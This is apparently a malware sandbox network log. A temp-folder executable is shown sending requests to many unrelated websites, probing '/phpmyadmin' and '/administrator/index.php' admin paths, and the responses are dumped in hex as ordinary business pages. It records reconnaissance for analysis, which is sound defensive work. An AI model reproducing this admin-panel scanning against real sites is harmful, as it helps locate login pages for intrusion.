2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:23 UTC	60	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 0d 0a Data Ascii: ents that will keep your lawn green and free of pests year
2023-12-20 02:13:23 UTC	1369	IN	Data Raw: 33 63 33 32 0d 0a 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a 6f 62 54 69 74 6c 65 22 3a 20 22 4f 77 6e 65 72 22 2c 0a 20 20 20 20 22 67 65 6e 64 65 72 22 3a 20 22 4d 61 6c 65 22 2c 0a 20 20 20 20 22 75 72 6c 22 3a 20 Data Ascii: 3c32 after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "jobTitle": "Owner", "gender": "Male", "url":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	54038	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	185	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	575	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:22 GMT X-Served-By: cache-gnv1820020-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038403.938963,VS0,VE56 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:23 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:23 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:23 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:23 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	53836	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	386	OUT	GET /administrator/index.php HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://walshfam.com/administrator/
2023-12-20 02:13:23 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_FWMhO9Soh3iCGmqWCtJuvrO/VDBnEXLj2mt97H2QWrfoyOYLJvj84yBkETmClR8rUhG4W5nsu5bVR3I/JGS9rw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:23 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	53870	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	396	OUT	GET /administrator/index.php HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://filmboxstudios.com/administrator/
2023-12-20 02:13:23 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Z3b+u0Mjy5sbrDHLSbjqlg3U0EdhLZ7/UBszxsdpPj5BrBqZuTTgJJS3lV9TNCrr6gOVaX4KhlNQ5gYZ+grnAw Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:23 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	53822	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:22 UTC	184	OUT	GET /phpmyadmin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:23 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038403.0951655100523125966 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:23 GMT X-Served-By: cache-dfw-kdfw8210041-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:23 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:23 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
